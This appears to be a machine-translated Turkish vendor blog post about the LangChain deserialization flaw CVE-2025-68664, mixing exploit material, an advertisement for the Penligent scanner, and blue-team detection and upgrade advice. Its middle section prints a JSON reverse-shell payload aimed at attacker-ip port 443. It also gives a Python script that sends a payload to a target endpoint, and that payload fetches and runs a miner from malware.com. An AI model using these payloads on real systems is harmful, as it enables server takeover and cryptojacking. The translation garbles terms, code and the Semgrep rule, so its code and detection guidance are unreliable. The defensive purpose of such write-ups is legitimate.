2025'in yapay zeka güvenlik savaşında LangChain Serileştirme Enjeksiyonu Güvenlik Açığı CVE-2025-68664 bir derinlik yükü kuvvetiyle vurur. Prompt Injection uygulama katmanındaki modeli "kandırmakla" ilgiliyse, CVE-2025-68664 altyapı katmanındaki sunucuya "sahip olmakla" ilgilidir.
Agentic AI için fiili orkestrasyon standardı olarak LangChain'in güvenlik duruşu kritik öneme sahiptir. CVE-2025-68664 (CVSS 9.8, Kritik), çerçevenin karmaşık Ajan durumlarının restorasyonunu nasıl ele aldığına dair temel bir mimari kusuru ortaya çıkarmaktadır: JSON Nesnesi Anlıklaştırmada Kontrol Hatası.
Bu makale yüzeysel haberciliği bir kenara bırakıyor. Tersine mühendislik bakış açısıyla langchain-core kaynak kodu, JSON'dan RCE'ye kadar tüm çağrı zincirini ortadan kaldırır ve Blue Teams için kurumsal düzeyde otomasyon kuralları sağlar.
Zafiyetin Anatomisi: Ne zaman Yük Arka Kapı Olur
LangChain'in gücü birleştirilebilir olmasında yatmaktadır. Zincirlerin ve Aracıların kalıcılığını desteklemek için LangChain şunları sağlar dumpd ve Yük yöntemleri, Python nesnelerinin JSON'a serileştirilmesine ve belleğe geri serileştirilmesine olanak tanır.
Kökü CVE-2025-68664 içinde bulunur langchain-core/load/load.py modülü. 2025 yamasından önceki sürümlerde, yükleyici hangi sınıfların örneklenebileceğine karar vermek için bir eşleme mekanizmasına dayanıyordu. Ancak, bu mekanizma bir mantık hatası içeriyordu: olarak işaretlenmiş serileştirilmiş nesneleri işlerken kurucu türünde, yükleyici modül yolunu kesin olarak doğrulamakta başarısız oldu. id alanı. Bu, saldırganların izin listesini atlamasına ve rastgele Python global modüllerini yüklemesine izin verdi.
Kaynak Seviyesi Mantık Arızası
Etkilenen sürümlerde yükleme mantığı kabaca şuna benziyordu (anlaşılır olması için basitleştirilmiştir):
Python
# Güvenlik açığı mantığının kavramsal gösterimi def load(obj, secrets_map=None): if isinstance(obj, dict) and "lc" in obj: # Nesne kimliğini çıkarın, örneğin, ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")
# ZAYIFLIK: Kontrol mevcut olsa da, standart kütüphaneleri engelleyemiyor
# Saldırgan yükü ["subprocess", "check_output"] şu yollardan geçer
if obj.get("type") == "constructor":
return _load_constructor(lc_id, obj.get("kwargs"))`
Saldırganlar bu durumdan belirli bir lc_id dizileri indüklemek için importlib hassas sistem modüllerini yüklemek için (örneğin os, alt süreç, sys) ve kurucularına kötü niyetli argümanlar iletir.
Silahlanma: Mükemmel RCE Yükünün Hazırlanması
Red Team araştırmacıları için yük yapısını anlamak doğrulamanın anahtarıdır. CVE-2025-68664 karmaşık bir ikili taşma gerektirmez-sadece hassas bir JSON parçacığı.
Aşama 1: İstismar Prototipi (PoC)
Bir hesap makinesi veya ters kabuk açmak için tasarlanmış standart bir JSON yükü şuna benzer:
JSON
{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }
Aşama 2: Python Exploit Script
Gerçek dünya senaryosunda, bir saldırgan bu yükü bir Web Uygulamasının "Import Config" uç noktasına veya bir Agent'ın Bellek deposuna enjekte edebilir.
Python
`import requests import json

Hedef: LangChain yapılandırma dosyalarını kabul eden bir AI Agent hizmeti
url = "http://target-ai-service.com/api/v1/agent/import“
payload = {"lc": 1, "type": "constructor", "id": ["subprocess", "run"], "kwargs": {"args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }
Kötü amaçlı serileştirilmiş verilerin gönderilmesi
Sunucu, langchain.load(json_data) çağrısı üzerine RCE'yi tetikler
r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Saldırı Durumu: {r.status_code}")`
Yapay Zeka Güdümlü Savunma: Penligent'ın Derin Denetim Teknolojisi
Geleneksel Web Tarayıcıları (Nikto veya OWASP ZAP gibi) tipik olarak CVE-2025-68664'e karşı başarısız olurlar çünkü bir JSON yükünün Python çalışma zamanı üzerindeki anlamsal etkisini anlayamazlar. Onlar geçerli JSON görürler; sunucu ise bir komut yürütme talimatı görür.
İşte burası Penligent.ai teknik üstünlüğünü ortaya koymaktadır. Penligent şunları kullanır Anlamsal Farkındalıklı Serileştirme Denetimi:
- AST Ters Analiz: Penligent'ın Yapay Zeka Ajanları sadece körü körüne bulanıklaştırma yapmaz. İlk olarak, belirli LangChain sürümünü ve yükleme mantığını tanımlamak için hedef uygulamanın AST'sini (Soyut Sözdizimi Ağacı) ayrıştırırlar. Güvenli olmayanları belirlerler
Yükkod tabanındaki çağrılar. - Dinamik Sandbox Doğrulaması: Algılama sırasında Penligent, izole edilmiş bir mikro-VM'de yükleme işlemini simüle eder. "Kanarya Belirteçleri" içeren serileştirilmiş nesneler enjekte eder. Nesne bir Bant Dışı (OOB) ağ isteğini (DNS sorgusu) başarıyla tetiklerse, sistem güvenlik açığını sıfır yanlış pozitif ile doğrular.
Penligent, kurumsal güvenlik ekipleri için "Code Commit "ten "Runtime Monitoring "e kadar tam spektrumlu savunma sunarak hiçbir kötü niyetli Agent yapılandırmasının üretime girmemesini sağlar.
Mavi Ekip El Kitabı: Tespit ve İyileştirme
Yamalar tam olarak dağıtılmadan önce Mavi Ekiplerin saldırı girişimlerini belirlemek için tespit kurallarına ihtiyacı vardır.
1. Semgrep Statik Analiz Kuralı
Kod tabanınızı güvenlik açığı bulunan çağrılara karşı taramak için aşağıdaki kuralı CI/CD işlem hattınıza ekleyin:
YAML
`kurallar:
- id: langchain-unsafe-load kalıpları:
- kalıp: langchain.load.load(...)
- pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) message: "Güvenli olmayan LangChain serileştirme algılandı. CVE-2025-68664 RCE'ye izin verir. valid_namespaces'i kısıtlayın veya hemen yükseltin." languages: [Ciddiyet: ERROR`
2. Acil Durum İyileştirme
Plan A (Önerilen): Yükseltme Bağımlılıkları
LangChain, langchain-core >= 0.3.15 sürümünde bu mantığı düzeltti ve katı bir varsayılan izin listesi mekanizması getirdi.
B Planı (Geçici): Kod Sertleştirme
Hemen yükseltme yapamıyorsanız, yükleme işlevinin yükleme kapsamını manuel olarak kısıtlamanız gerekir:
Python
`from langchain_core.load import load
Yalnızca langchain ad alanından yüklemeye zorla izin ver
Alt süreç, işletim sistemi ve diğer sistem modüllerini reddeder
safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`
Sonuç
LangChain Serileştirme Enjeksiyonu Güvenlik Açığı CVE-2025-68664 YZ altyapı güvenliğinin "örtük güven" üzerine inşa edilemeyeceğini bir kez daha kanıtlıyor. YZ uygulamaları "Chatbot "lardan "Otonom Ajan "lara evrildikçe, serileştirme, durum depolama ve araç çağırmayı hedefleyen saldırı yüzeyi katlanarak büyüyecektir.
Güvenlik mühendisleri her şeyin arkasında load() işlevinde bir Shell bekliyor olabilir.

